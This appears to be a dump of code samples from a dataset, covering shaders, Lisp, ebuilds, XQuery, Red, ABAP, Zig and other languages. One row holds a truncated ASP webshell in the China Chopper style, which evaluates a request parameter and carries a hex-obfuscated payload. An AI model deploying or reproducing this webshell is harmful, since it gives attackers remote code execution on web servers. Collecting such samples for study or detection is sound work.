content stringlengths 4 1.04M | lang stringclasses 358
values | score int64 0 5 | repo_name stringlengths 5 114 | repo_path stringlengths 4 229 | repo_licenses listlengths 1 8 |
|---|---|---|---|---|---|
package {
import GZ.Gpu.ShaderBase.FragmentShader;
import GZ.Gpu.ShaderBase.VertexShader;
import GZ.Gpu.ShaderBase.ProgramShader;
import GZ.Gpu.Base.Attribute;
import GZ.Gpu.Base.Texture;
import GZ.Gpu.Base.Uniform;
import GZ.Gpu.Base.UnVec2;
import GZ.Gpu.Base.UnVec3;
import GZ.Gpu.Base.UnVec4;
import GZ.Gpu.Base.U... | Redcode | 3 | VLiance/GZE | src/Lib_GZ/Gpu/ShaderModel/GzModel/GzShCommun/GzShCommun_Tile.cw | [
"Apache-2.0"
] |
vec3 a_position : POSITION; | Io | 1 | ValtoForks/EtherealEngine | editor_data/data/shaders/vs_picking_id.io | [
"BSD-2-Clause"
] |
(ns 'arc)
; export
; pair exact assoc alref join isnt alist ret in iso when unless while
; reclist recstring testify carif some all find lastn tuples defs
; caris warn
(def pair (xs (o f list))
(if (is f list) (%pair xs)
((afn (xs f)
(if (no xs) nil
(no cdr.xs) (list (list car.xs))
... | Arc | 5 | smihica/arc-js | src/arc/arc.arc | [
"Artistic-2.0"
] |
# Copyright (C) Nginx, Inc.
# Distributed under the terms of the BSD 2-clause Simplified License
# $Id$
EAPI="5"
PYTHON_COMPAT=( python2_7 )
inherit eutils distutils-r1 user versionator
DESCRIPTION="NGINX Amplify Agent"
HOMEPAGE="https://amplify.nginx.com"
MY_PV=$(replace_version_separator 2 '-')
MY_PV1=$(get_versi... | Gentoo Ebuild | 4 | dp92987/nginx-amplify-agent | packages/nginx-amplify-agent/gentoo/nginx-amplify-overlay/app-admin/nginx-amplify-agent/nginx-amplify-agent-0.47.ebuild | [
"BSD-2-Clause"
] |
declare namespace t = "http://schemas.microsoft.com/exchange/services/2006/types";
declare namespace m = "http://schemas.microsoft.com/exchange/services/2006/messages";
declare namespace soap = "http://schemas.xmlsoap.org/soap/envelope/";
if (/soap:Envelope/soap:Body/m:Subscribe/m:StreamingSubscriptionRequest and
c... | XQuery | 3 | KrissN/akonadi-ews | test/resources/subscribe-streaming.xq | [
"RSA-MD"
] |
(module
(func $add (export "add") (param $p0 i32) (param $p1 i32) (result i32)
(i32.add
(get_local $p0)
(get_local $p1)
)
)
)
| WebAssembly | 4 | 1shenxi/webpack | test/configCases/split-chunks/issue-11513/wasm.wat | [
"MIT"
] |
untyped
global function GamemodeLts_Init
struct {
entity lastDamageInfoVictim
entity lastDamageInfoAttacker
int lastDamageInfoMethodOfDeath
float lastDamageInfoTime
bool shouldDoHighlights
} file
void function GamemodeLts_Init()
{
// gamemode settings
SetShouldUsePickLoadoutScreen( true )
SetSwitchSidesBase... | Squirrel | 4 | GeckoEidechse/NorthstarMods | Northstar.CustomServers/mod/scripts/vscripts/gamemodes/_gamemode_lts.nut | [
"MIT"
] |
[CustomMessages]
iis_title=Internet Information Services (IIS)
[Code]
function iis(): boolean;
begin
if (not RegKeyExists(HKLM, 'SYSTEM\CurrentControlSet\Services\W3SVC\Security')) then
MsgBox(FmtMessage(CustomMessage('depinstall_missing'), [CustomMessage('iis_title')]), mbError, MB_OK)
else
Result :=... | Inno Setup | 3 | internetsimple/Bulk-Crap-Uninstaller | installer/scripts/products/iis.iss | [
"Apache-2.0"
] |
/*
* Copyright 2010-2018 JetBrains s.r.o. Use of this source code is governed by the Apache 2.0 license
* that can be found in the LICENSE file.
*/
fun bar(vararg x: Int) {
x.forEach {
println(it)
}
println("size: ${x.size}")
}
inline fun foo() = bar(17, 19, 23, *intArrayOf(29, 31))
| Kotlin | 4 | benasher44/kotlin-native | backend.native/tests/serialization/vararg.kt | [
"ECL-2.0",
"Apache-2.0"
] |
Red/System [
Title: "Windows calendar widget"
Author: "Vladimir Vasilyev"
File: %calendar.reds
Tabs: 4
Rights: "Copyright (C) 2019-2020 Red Foundation. All rights reserved."
License: {
Distributed under the Boost Software License, Version 1.0.
See https://github.com/red/red/blob/master/BSL-License.txt
}
]
... | Red | 4 | GalenIvanov/red | modules/view/backends/windows/calendar.reds | [
"BSL-1.0",
"BSD-3-Clause"
] |
{
"plugins": ["proposal-pipeline-operator"],
"throws": "The pipeline plugin requires a \"proposal\" option. \"proposal\" must be one of: \"minimal\", \"fsharp\", \"hack\", \"smart\". See <https://babeljs.io/docs/en/babel-plugin-proposal-pipeline-operator>."
}
| JSON | 1 | fatash89/babel | packages/babel-plugin-proposal-pipeline-operator/test/fixtures/no-proposal/options.json | [
"MIT"
] |
## @package get_python_cmake_flags
# Module scripts.get_python_cmake_flags
##############################################################################
# Use this script to find your preferred python installation.
##############################################################################
#
# You can use the follo... | Python | 4 | Hacky-DH/pytorch | scripts/get_python_cmake_flags.py | [
"Intel"
] |
SmalltalkCISpec {
#loading : [
SCIMetacelloLoadSpec {
#baseline : 'Sandblocks',
#platforms : [ #squeak ],
#directory: 'packages',
#useLatestMetacello : true
}
],
#testing : {
#coverage : {
#packages : [ 'Sandblocks' ],
#format : #coveralls
}
}
}
| STON | 4 | LinqLover/sandblocks | .smalltalk.ston | [
"MIT"
] |
#include <metal_stdlib>
#include <simd/simd.h>
using namespace metal;
struct Uniforms {
half4 testInputs;
half4 colorGreen;
half4 colorRed;
half4 colorWhite;
};
struct Inputs {
};
struct Outputs {
half4 sk_FragColor [[color(0)]];
};
fragment Outputs fragmentMain(Inputs _in [[stage_in]], constant Uni... | Metal | 3 | fourgrad/skia | tests/sksl/intrinsics/Mod.metal | [
"BSD-3-Clause"
] |
(ns rabbitmq.tutorials.emit-log
(:require [langohr.core :as lc]
[langohr.channel :as lch]
[langohr.exchange :as le]
[langohr.basic :as lb]
[clojure.string :as s]))
(def ^{:const true} x "logs")
(defn -main
[& args]
(with-open [conn (lc/connect)]
(let [ch ... | Clojure | 3 | Diffblue-benchmarks/Rabbitmq-rabbitmq-tutorials | clojure/src/rabbitmq/tutorials/emit_log.clj | [
"Apache-2.0"
] |
#tag FileTypeSet
#tag FileType
CodeName=SecurityCertificate
Extension=.crt;.pem;.key;.x509
Flags=&h0
MacCreator=
MacType=
Name=Security Certificate
#tag EndFileType
#tag FileType
CodeName=NetscapeCookieJar
Extension=.jar;.cookies;.txt
Flags=&h0
MacCreator=
MacType=
Name=Netscape Cookie Jar
... | REALbasic | 4 | charonn0/RB-libcURL | cURLTypes.rbbas | [
"MIT"
] |
'reach 0.1';
// Importing an ident that isn't there
import {whoops} from './sample_lib.rsh'
export const main = Reach.App(
{}, [], () => { return 0; }
);
| RenderScript | 3 | chikeabuah/reach-lang | hs/t/n/Err_Import_Missing.rsh | [
"Apache-2.0"
] |
#include <upc_relaxed.h>
#include <stdio.h>
#define K 2
extern void cilk_test (int n);
typedef struct sq_mat {
double blk[K][K];
} matblock_t;
shared matblock_t A[THREADS];
int main()
{
int i,j;
for (i = 0; i<K; i++) {
for (j = 0; j<K; j++)
A[MYTHREAD].blk[i][j] = i*K+j;
}
upc_barrier;
... | Unified Parallel C | 3 | fredmorcos/attic | Projects/Matrix FFT UPC Cilk/archive/tests/upc-cilk-primary-old/upc-cilk-test/test.upc | [
"Unlicense"
] |
Red/System [
Title: "Red/System integer! datatype tests"
Author: "Peter W A Wood, Nenad Rakocevic"
File: %float-test.reds
Version: 0.1.0
Tabs: 4
Rights: "Copyright (C) 2012-2015 Peter W A Wood,-2018 Red Foundation. All rights reserved."
License: "BSD-3 - https://github.com/red/red/blob/origin/BSD-3-Licens... | Red | 5 | GalenIvanov/red | system/tests/source/units/float-test.reds | [
"BSL-1.0",
"BSD-3-Clause"
] |
/* Copyright 2021 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or a... | C | 3 | EricRemmerswaal/tensorflow | tensorflow/lite/experimental/acceleration/mini_benchmark/jpeg_common.h | [
"Apache-2.0"
] |
#include <oxstd.h>
#include <oxdraw.h>
#include <oxprob.h>
#include <maximize.h>
#import <modelbase>
#import <simula>
#include <oxfloat.h>
static decl iB; //Repeats
static decl iSIZE; //Size of time series
static decl iSTEPS; //#Steps to divide the size
static decl iSIMS; //# of Zt ~ N(0,1)
static de... | Ox | 3 | tamerdilaver/Simulation_al-GAS | simulate_al-GAS.ox | [
"MIT"
] |
- if can?(current_user, :read_pipeline, merge_request.head_pipeline)
%li.issuable-pipeline-status.d-none.d-sm-flex
= render 'ci/status/icon', status: merge_request.head_pipeline.detailed_status(current_user), option_css_classes: 'd-flex'
| Haml | 2 | glimmerhq/glimmerhq | app/views/shared/_merge_request_pipeline_status.html.haml | [
"MIT"
] |
package jadx.api.plugins;
public interface JadxPlugin {
JadxPluginInfo getPluginInfo();
}
| Java | 3 | mazhidong/jadx | jadx-plugins/jadx-plugins-api/src/main/java/jadx/api/plugins/JadxPlugin.java | [
"Apache-2.0"
] |
abstract class Obj { type S }
class ObjImpl extends Obj { type S = String }
abstract class A {
type MyObj <: Obj
type S = MyObj#S
val any: Any = 0
val some: S = any // compiles => type X is set to scala.Any
}
class B extends A {
type MyObj = ObjImpl
val myString: S = "hello"
val realString: String... | Scala | 3 | jamesanto/scala | test/files/neg/t836.scala | [
"Apache-2.0"
] |
spring.mobile.devicedelegatingviewresolver.enabled: true
spring.freemarker.template-loader-path: classpath:/templates
spring.freemarker.suffix: .ftl | INI | 2 | DBatOWL/tutorials | spring-mobile/src/main/resources/application.properties | [
"MIT"
] |
rule_files:
- 'first.rules'
- 'rules\second.rules'
- 'c:\absolute\third.rules'
| YAML | 2 | smthkissinger/docker-images | monitoring/prometheus/busybox-prometheus/config/testdata/rules_abs_path_windows.good.yml | [
"BSD-3-Clause"
] |
#pragma rtGlobals=3 // Use modern global access method and strict wave access.
#pragma ModuleName = glob
#pragma version = 0.1
Function/WAVE glob(pattern)
String pattern
if(StringMatch(pattern, "root:*")) // absolute path
WAVE/T buffer = glob_("root:", pattern[5, inf])
elseif(StringMatch(pattern, ":*")) // rel... | IGOR Pro | 5 | ajnavarro/language-dataset | data/github.com/ryotako/igor-glob/b02ebfb0c6c621a1f97d1bd38c5aafab089658a5/glob.ipf | [
"MIT"
] |
functor
import
FD
Search
export
Return
define
SRAT =
proc {$ Q}
proc {Vector V}
{FD.tuple v 10 0#1 V}
end
proc {Sum V S}
{FD.decl S}
{FD.sum V '=:' S}
end
proc {Assert I [U V W X Y]}
A.I=U B.I=V C.I=W D.I=X E.I=Y
end
A... | Oz | 3 | Ahzed11/mozart2 | platform-test/fd/srat.oz | [
"BSD-2-Clause"
] |
.hide-test-frame {
position: absolute;
top: -9999px;
left: -9999px;
visibility: hidden;
}
| CSS | 3 | fcastillo-serempre/freeCodeCamp | client/src/templates/Challenges/components/test-frame.css | [
"BSD-3-Clause"
] |
many 10 bigger foo smallified
shh 1
wow
| Dogescript | 0 | PinkDiamond1/dogescript | test/language-spec/operators/smallified/control/many/rhs/source.djs | [
"MIT"
] |
Leisure tools for Atom. This is to be run in an iframe as a namespace so that Atom can use it as-is.
reqConfig =
baseUrl: '.'
paths:
# the left side is the module ID,
# the right side is the path to
# the jQuery file, relative to baseUrl.
# Also, the path should NOT in... | Literate CoffeeScript | 3 | zot/Leisure | src/atom-tools.litcoffee | [
"Zlib"
] |
<?xml version="1.0" encoding="UTF-8"?>
<!-- ******************************************************************* -->
<!-- -->
<!-- © Copyright IBM Corp. 2010, 2013 -->
<!-- ... | XPages | 3 | jesse-gallagher/XPagesExtensionLibrary | extlib/lwp/product/runtime/eclipse/plugins/com.ibm.xsp.extlib.controls/src/com/ibm/xsp/extlib/config/raw-extlib-tagcloud.xsp-config | [
"Apache-2.0"
] |
##! This script will generate a notice if an apparent protocol session,
##! long flow, or excessive short flows originate or terminate at a host,
##! net, or reverse DNS zone that isn't whitelisted.
##!
##! The input framework is used to populate tables of whitelists of subnets,
##! and zones, optionally with peers. Ki... | Bro | 5 | evernote/bro-scripts | exfiltration/scripts/main.bro | [
"BSD-3-Clause"
] |
#! /usr/bin/env bash
set -e
TOP_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd -P)"
source "${TOP_DIR}/scripts/apollo.bashrc"
ARCH="$(uname -m)"
SUPPORTED_ARCHS=" x86_64 aarch64 "
APOLLO_VERSION="@non-git"
APOLLO_ENV=""
USE_ESD_CAN=false
: ${STAGE:=dev}
AVAILABLE_COMMANDS="config build build_dbg build_opt build_... | Shell | 4 | jzjonah/apollo | apollo.sh | [
"Apache-2.0"
] |
component {
public tagCFC function init() {
var q=123;
if(1 eq 1){
var z=123;
var asdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjkl=10;
}
}
} | ColdFusion CFC | 1 | tonym128/CFLint | src/test/resources/com/cflint/tests/VariableNameChecker/cftry.cfc | [
"BSD-3-Clause"
] |
("
pp
60 => )
<_c, _e, _a, c, e, a, f> => @notes
.b o~
.c o~~ mf
{! foo !!
.a !notes.choose {: ] } } ]] :: !x times :}
.b !notes.choose {: ] :: !x times :}
.c !notes.choose {: ) :: !x times :}
!}
{: !foo<<1,2,3>.choose> :: true :}
".skoar.play;
)
| SuperCollider | 1 | sofakid/Skoarcery | SuperCollider/examples/yay.scd | [
"Artistic-2.0"
] |
#pragma once
#include "envoy/server/guarddog_config.h"
#include "envoy/thread/thread.h"
#include "envoy/watchdog/v3/abort_action.pb.h"
namespace Envoy {
namespace Watchdog {
/**
* A GuardDogAction that will terminate the process by killing the
* stuck thread.
*/
class AbortAction : public Server::Configuration::Gu... | C | 3 | dcillera/envoy | source/common/watchdog/abort_action.h | [
"Apache-2.0"
] |
/* eslint-disable no-undef, camelcase */
/// <reference types="cypress" />
const BASE_DIR = Cypress.env('RW_PATH')
describe('Check Redwood cli commands against tutorial', () => {
// These tests aren't visual, as they only run on the CLI
// Disable taking screenshots/videos for this spec
before(() => {
Cypre... | XS | 5 | josemasar/redwood | tasks/e2e/cypress/integration/02-cli/02-cli-commands.spec.xs | [
"MIT"
] |
#!/bin/sh
PATH=/bin:/usr/bin
TERM=screen
[ -z "$TEST_TMUX" ] && TEST_TMUX=$(readlink -f ../tmux)
TMUX="$TEST_TMUX -Ltest"
$TMUX kill-server 2>/dev/null
for i in conf/*.conf; do
$TMUX -f/dev/null start \; source -n $i || exit 1
done
exit 0
| Shell | 3 | SliceThePi/tmux | regress/conf-syntax.sh | [
"ISC"
] |
#!/bin/bash
set -e
# called when COVERAGE=="true" and DISTRIB=="conda"
export PATH=$HOME/miniconda3/bin:$PATH
source activate $VIRTUALENV
# Need to run codecov from a git checkout, so we copy .coverage
# from TEST_DIR where pytest has been run
pushd $TEST_DIR
coverage combine --append
popd
cp $TEST_DIR/.coverage $BU... | Shell | 4 | emarkou/scikit-learn | build_tools/azure/upload_codecov.sh | [
"BSD-3-Clause"
] |
"""The Prosegur Alarm integration."""
import logging
from pyprosegur.auth import Auth
from homeassistant.config_entries import ConfigEntry
from homeassistant.const import CONF_PASSWORD, CONF_USERNAME, Platform
from homeassistant.core import HomeAssistant
from homeassistant.exceptions import ConfigEntryAuthFailed, Con... | Python | 5 | MrDelik/core | homeassistant/components/prosegur/__init__.py | [
"Apache-2.0"
] |
data SnocList ty = Empty | Snoc (Main.SnocList ty) ty
reverseSnoc : Main.SnocList ty -> List ty
reverseSnoc Empty = []
reverseSnoc (Snoc xs x) = x :: reverseSnoc xs
| Idris | 4 | ska80/idris-jvm | tests/typedd-book/chapter10/ReverseSnoc.idr | [
"BSD-3-Clause"
] |
print $ bool true
print $ bool false
print $ bool yes
print $ bool no
print $ bool 1
print $ bool 0 | Cirru | 0 | JavascriptID/sourcerer-app | src/test/resources/samples/langs/Cirru/bool.cirru | [
"MIT"
] |
<interface name="mtd">
<!-- int get_info(struct mtd_info *info); -->
<method rtype="int" name="get_info">
<arg atype="struct mtd_info *" name="info" />
</method>
</interface>
| D | 3 | CyberQueenMara/baseband-research | okl4_kernel/okl4_2.1.1-patch.9/libs/driverv2/include/mtd_if.di | [
"MIT"
] |
////////////////////////////////////////////////////
// Multicomb //
// //
// Multiple simultaneous comb filters randomly //
// chosen within a specified frequency range //
// and spread across the stereo field //
//... | ChucK | 4 | mariobuoninfante/chugins | Multicomb/multicomb-help.ck | [
"MIT"
] |
# POPPLER_FIND_QT(VARIABLE-PREFIX, [ACTION-IF-FOUND], [ACTION-IF-NOT-FOUND])
#
# Check whether the Qt3 libraries are available.
#
# --------------------------------------------------------------
AC_DEFUN([POPPLER_FIND_QT],
[
PKG_CHECK_MODULES([libqt3], [qt-mt], [
ifelse([$2], , :, [$2])
], [
ifelse([$3], ,
[AC_MSG_... | M4 | 4 | albertobarri/idk | tests/third_party/poppler/m4/qt.m4 | [
"MIT"
] |
# typed: false
# frozen_string_literal: true
require "utils/tar"
describe Utils::Tar do
before do
described_class.clear_executable_cache
end
describe ".available?" do
it "returns true if tar or gnu-tar is available" do
if described_class.executable.present?
expect(described_class).to be_a... | Ruby | 4 | ylht/brew | Library/Homebrew/test/utils/tar_spec.rb | [
"BSD-2-Clause"
] |
<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 20 20" height="20" viewBox="0 0 20 20" width="20"><rect fill="none" height="20" width="20"/><path d="M10,10.25h3v1.5h-3V14l-3-3l3-3V10.25z M16.5,6H10L8,4H3.5C2.67,4,2,4.67,2,5.5v9C2,15.33,2.67,16,3.5,16h13 c0.83,0,1.5-0.67,1.5-1.5v-7C18,6.67,17.33,6,16.... | SVG | 2 | Imudassir77/material-design-icons | src/file/drive_file_move_rtl/materialicons/20px.svg | [
"Apache-2.0"
] |
%!PS-Adobe-3.0 Resource-Encoding
%%Title: VIM-cp1254
%%Version: 1.0 0
%%EndComments
/VIM-cp1254[
/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef
/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef
/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef
/.notde... | PostScript | 1 | uga-rosa/neovim | runtime/print/cp1254.ps | [
"Vim"
] |
*** Settings ***
Library ArgumentsPython
Library Annotations.py
Library ../libdoc/Decorators.py
*** Variables ***
@{LIST} With three values
*** Test Cases ***
Correct Number Of Arguments When No Defaults Or Varargs
${ret} = A 0
Should Be Equal ${ret} a_0
... | RobotFramework | 4 | rdagum/robotframework | atest/testdata/keywords/python_arguments.robot | [
"ECL-2.0",
"Apache-2.0"
] |
body{
background:#fafafa;
font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;color:#333}
.hero-unit{margin:50px auto 0;width:300px;font-size:18px;font-weight:200;line-height:30px;background-color:#eee;border-radius:6px;padding:60px}
.hero-unit h1{font-size:60px;line-height:1;letter-spacing:-1px}
.browsehappy{m... | CSS | 4 | henryqdineen/RxJS | examples/pacman-unicode/main.css | [
"Apache-2.0"
] |
/*!40101 SET NAMES binary*/;
INSERT INTO `bigint` VALUES
(-9223372036854775808),
(-8863313628261308831),
(-192707003722069405),
(0),
(5714455538631204570),
(9223372036854775807);
| SQL | 1 | cuishuang/tidb | br/tests/lightning_various_types/data/vt.bigint.0.sql | [
"Apache-2.0"
] |
{-# LANGUAGE ForeignFunctionInterface #-}
{-|
Module : Unicorn.Internal.Core
Description : Core Unicorn components.
Copyright : (c) Adrian Herrera, 2016
License : GPL-2
Defines core Unicorn components.
This module should not be directly imported; it is only exposed because of the
way cabal handles orderin... | C2hs Haskell | 5 | clayne/unicorn_pe | unicorn/bindings/haskell/src/Unicorn/Internal/Core.chs | [
"MIT"
] |
<%inherit file="/base.mako"/>
<%namespace file="/message.mako" import="render_msg" />
<br/><br/>
<ul class="manage-table-actions">
<li>
<a class="action-button" href="${h.url_for( controller='user', action='index', cntrller=cntrller )}">User preferences</a>
</li>
</ul>
%if message:
${render_msg( ... | Mako | 4 | rikeshi/galaxy | lib/tool_shed/webapp/templates/webapps/tool_shed/user/api_keys.mako | [
"CC-BY-3.0"
] |
<%doc>formatting.myt - Provides section formatting elements, syntax-highlighted code blocks, and other special filters.</%doc>
<%global>
import string, re
import highlight
</%global>
<%method section>
<%doc>Main section formatting element.</%doc>
<%args>
toc
path
description=None
onepage=False... | Myghty | 4 | oslab-swrc/juxta | analyzer/libs/pygments/tests/examplefiles/test.myt | [
"MIT"
] |
require("stringio")
WIDTH = 60
Last = 42; A = 3877; C = 29573; M = 139968
def rand: max {
Last = (Last * A + C) % M
return ((max * Last) / M)
}
ALU = "GGCCGGGCGCGGTGGCTCACGCCTGTAATCCCAGCACTTTGG" + \
"GAGGCCGAGGCGGGCGGATCACCTGAGGTCAGGAGTTCGAGA" + \
"CCAGCCTGGCCAACATGGTGAAACCCCGTCTCTACTAAAAAT" + \
... | Fancy | 4 | bakkdoor/fancy | tools/benchmarks/fasta2.fy | [
"BSD-3-Clause"
] |
:- module(mpe,[
mpi_open/0,
mpi_start/0,
mpi_close/1,
mpi_create_event/1,
mpi_create_state/4]).
:- load_foreign_files([mpe], [], init_mpe).
| Prolog | 2 | ryandesign/yap | library/mpi/mpe.yap | [
"Artistic-1.0-Perl",
"ClArtistic"
] |
#
# program needs:
#
# DONE calculate responce for each white noise calibration in dlcalwf table
# DONE make sure only calculated only one time
# DONE create calplot table
# DONE put data in /anf/TA/products/calibrations/%sta/%sta_%chan_%time_%version.pdf
# DONE email Calibration Report
#
# needs to be ab... | XProc | 4 | jreyes1108/antelope_contrib | bin/usarray/q330_sensor_response/q330_sensor_response.xpl | [
"BSD-2-Clause",
"MIT"
] |
/*
* ld script for the x86 kernel
*
* Historic 32-bit version written by Martin Mares <mj@atrey.karlin.mff.cuni.cz>
*
* Modernisation, unification and other changes and fixes:
* Copyright (C) 2007-2009 Sam Ravnborg <sam@ravnborg.org>
*
*
* Don't define absolute symbols until and unless you know that symbol
... | Linker Script | 5 | JavascriptID/sourcerer-app | src/test/resources/samples/langs/Linker Script/vmlinux.lds | [
"MIT"
] |
<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>
var Sp = String(Request.form('z'));
var Fla = {'E':eval};
var St=""
var A="H74H72H79H7BH76H61H72H20H53H3DH22H2DH3EH7CH22H2BH53H65H72H76H65H72H2EH4DH61H70H70H61H74H68H28H22H2FH22H29H2BH22H5CH74H22H3BH76H61H72H20H6FH46H73H6FH20H3DH20H53H65H72H76H65H72H2EH43H72H65H61H74H65H4FH62H6... | ASP | 2 | laotun-s/webshell | caidao-shell/cutstomize.asp | [
"MIT"
] |
CLASS zcl_abapgit_data_deserializer DEFINITION
PUBLIC
CREATE PRIVATE
GLOBAL FRIENDS zcl_abapgit_data_factory .
PUBLIC SECTION.
INTERFACES zif_abapgit_data_deserializer .
PROTECTED SECTION.
PRIVATE SECTION.
METHODS convert_json_to_itab
IMPORTING
!is_file TYPE zif_abapgit_definition... | ABAP | 5 | Manny27nyc/abapGit | src/data/zcl_abapgit_data_deserializer.clas.abap | [
"MIT"
] |
test "comptime slice-sentinel in bounds (unterminated)" {
// array
comptime {
var target = [_]u8{ 'a', 'b', 'c', 'd' } ++ [_]u8{undefined} ** 10;
const slice = target[0..3 :'d'];
_ = slice;
}
// ptr_array
comptime {
var buf = [_]u8{ 'a', 'b', 'c', 'd' } ++ [_]u8{unde... | Zig | 4 | lukekras/zig | test/behavior/slice_sentinel_comptime.zig | [
"MIT"
] |
ConvertFrom-StringData @'
string1=string1 for en-US
string2=string2 for en-US
'@ # SIG # Begin signature block
| PowerShell | 4 | Jellyfrog/PowerShell | test/powershell/Language/Scripting/en-US/I18n.Tests.psd1 | [
"MIT"
] |
interface tag DisposableActor
"""
An interface used to asynchronously dispose of an actor.
"""
be dispose()
| Pony | 4 | presidentbeef/ponyc | packages/builtin/disposable_actor.pony | [
"BSD-2-Clause"
] |
loadlib shlwapi.dll
value shlwapi
{ ."
shared-memory.fth
Provides a basic interface for using shared memory between processes.
This uses the interface provided by SHLWAPI.DLL, which really
simplifies the process.
To create shared memory between processes pid1 and pid2, use the
following steps... | Forth | 5 | jephthai/EvilVM | samples/shared-memory.fth | [
"MIT"
] |
BtargetJ0 | PureBasic | 0 | pchandrasekaran1595/onnx | onnx/backend/test/data/node/test_nllloss_NCd1_weight_expanded/test_data_set_0/input_1.pb | [
"Apache-2.0"
] |
#include <Servo.h>
#if 1
// Normal servo that doesn't freak out with standard zero range.
#define MIN_PULSE_WIDTH (544)
#else
// Off-brand servo that does freak out.
#define MIN_PULSE_WIDTH (800)
#endif
#define SERVO_PIN (2)
#define POT_PIN (7)
Servo myservo;
void handle_commands() {
if (Serial.available()) {
... | Arduino | 5 | HannesGitH/chrome-extensions-samples | apps/samples/servo/Servo/Servo.ino | [
"Apache-2.0"
] |
# ====================[ package.mask ]====================
#
# --------------------( SYNOPSIS )--------------------
# List of locally provided atoms to be hard-masked. Too fast&furious users may
# unmask atoms by adding an equivalent line to "/etc/portage/package.unmask".... | Mask | 3 | Ferroin/raiagent | profiles/package.mask | [
"FTL"
] |
--TEST--
tidy_repair_*() and invalid parameters
--EXTENSIONS--
tidy
--FILE--
<?php
$l = 1;
$s = "";
tidy_repair_string($s, $l, $l);
tidy_repair_string($s, $s, $s);
tidy_repair_string($l, $l, $l);
try {
tidy_repair_file($s, $l, $l, $l);
} catch (\ValueError $e) {
echo $e->getMessage() . \PHP_EOL;
}
try {
... | PHP | 3 | NathanFreeman/php-src | ext/tidy/tests/019.phpt | [
"PHP-3.01"
] |
# source: https://graphql-with-prisma-relay.weakky.vercel.app/api
# timestamp: Fri Jul 31 2020 18:27:09 GMT+0200 (Central European Summer Time)
type BlogPost implements Node {
id: ID!
title: String!
content: String!
createdAt: DateTime!
updatedAt: DateTime!
}
type BlogPostConnection {
"""
https://facebo... | GraphQL | 5 | blomqma/next.js | examples/with-reason-relay/schema/schema.graphql | [
"MIT"
] |
#!/bin/tcsh
#
# so: try and have files lasting at least $retention_time;
#
#
# dquota is the quota of the area
# minfree must be the minimum free area to complete current operations
#
# if disk used more than $maxdisk, delete the oldest ones respecting the previous requirement
# if disk used more than $maxdisk, del... | Tcsh | 4 | ckamtsikis/cmssw | DPGAnalysis/Skims/python/clearTemporaryArea.csh | [
"Apache-2.0"
] |
/* Copyright 2017 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or a... | C++ | 3 | EricRemmerswaal/tensorflow | tensorflow/core/grappler/optimizers/custom_graph_optimizer_registry_test.cc | [
"Apache-2.0"
] |
Written by Erik Bosman
WHILE_THERE_IS_DATA: ++[
-
[-
>>+[>]++[<]< ADD_A_PLUS_SYMBOL
]
>>+[>]<--[++>++++>]+[<]< REMOVE_THE_LAST_PLUS_OR_ADD_A_MINUS_
IF_THERE_WERE_NONE
<++]
TO_THE_END: >>>[>]
TWO_MINUS_SYMBOLS: ++++>++++
WHILE_THERE_IS_ONE_BACKWARDS: [
nr 15x 1... | Brainfuck | 3 | RubenNL/brainheck | examples/quine/quine-505-commented.bf | [
"Apache-2.0"
] |
DROP TABLE "author"; | SQL | 0 | gh-oss-contributor/graphql-engine-1 | cli/integration_test/v3/migrations/default/2_add_table_test.down.sql | [
"Apache-2.0",
"MIT"
] |
#!/usr/bin/env bash
# Copyright 2016 The Kubernetes Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | Shell | 4 | columbus9963/kubernetes | test/e2e_node/gubernator.sh | [
"Apache-2.0"
] |
// Assumes the following uniforms exist in the surrounding context:
// uniform vec3 camera_center;
// uniform mat3 camera_rotation;
vec3 get_rotated_surface_unit_normal_vector(vec3 point, vec3 du_point, vec3 dv_point){
vec3 cp = cross(
(du_point - point),
(dv_point - point)
);
if(length(cp)... | GLSL | 4 | iterater/manim | manimlib/shaders/inserts/get_rotated_surface_unit_normal_vector.glsl | [
"MIT"
] |
#Feature: List of scenarios.
#Scenario: Business rule through list of steps with arguments.
#Given: Some precondition step
#When: Some key actions
#Then: To observe outcomes or validation
#And,But: To enumerate more Given,When,Then steps
#Scenario Outline: List of steps for data-driven as an Examples and <placeholder>
... | Cucumber | 4 | MalcolmScoffable/openapi-generator | samples/server/petstore/java-pkmst/src/test/resources/com/prokarma/pkmst/cucumber/Pkmst.feature | [
"Apache-2.0"
] |
= Store password hash in accounts table
By default, Rodauth stores the password hash in a separate
+account_password_hashes+ table. This makes it a lot less likely that the
password hashes will be leaked, especially if you use Rodauth's default
approach of using database functions for checking the hashes.
However, i... | RDoc | 4 | dmitryzuev/rodauth | doc/guides/password_column.rdoc | [
"MIT"
] |
{% extends "admin/change_list_object_tools.html" %}
{% load i18n admin_urls %}
{% block object-tools-items %}
<li><a href="#" id="change-list-export" class="override-change_list_object_tools change-list-object-tools-item">{% translate "Export" %}</a></li>
{{ block.super }}
{% endblock %}
| HTML | 4 | jpmallarino/django | tests/admin_views/templates/admin/admin_views/article/change_list_object_tools.html | [
"BSD-3-Clause",
"0BSD"
] |
/* -*- Mode: IDL; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
/* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this file,
* You can obtain one at http://mozilla.org/MPL/2.0/.
*
* The origin of this IDL file is
... | WebIDL | 4 | dkozma/wasm-bindgen | crates/web-sys/webidls/unstable/ImageCapture.webidl | [
"Apache-2.0",
"MIT"
] |
{
"patcher" : {
"fileversion" : 1,
"appversion" : {
"major" : 5,
"minor" : 1,
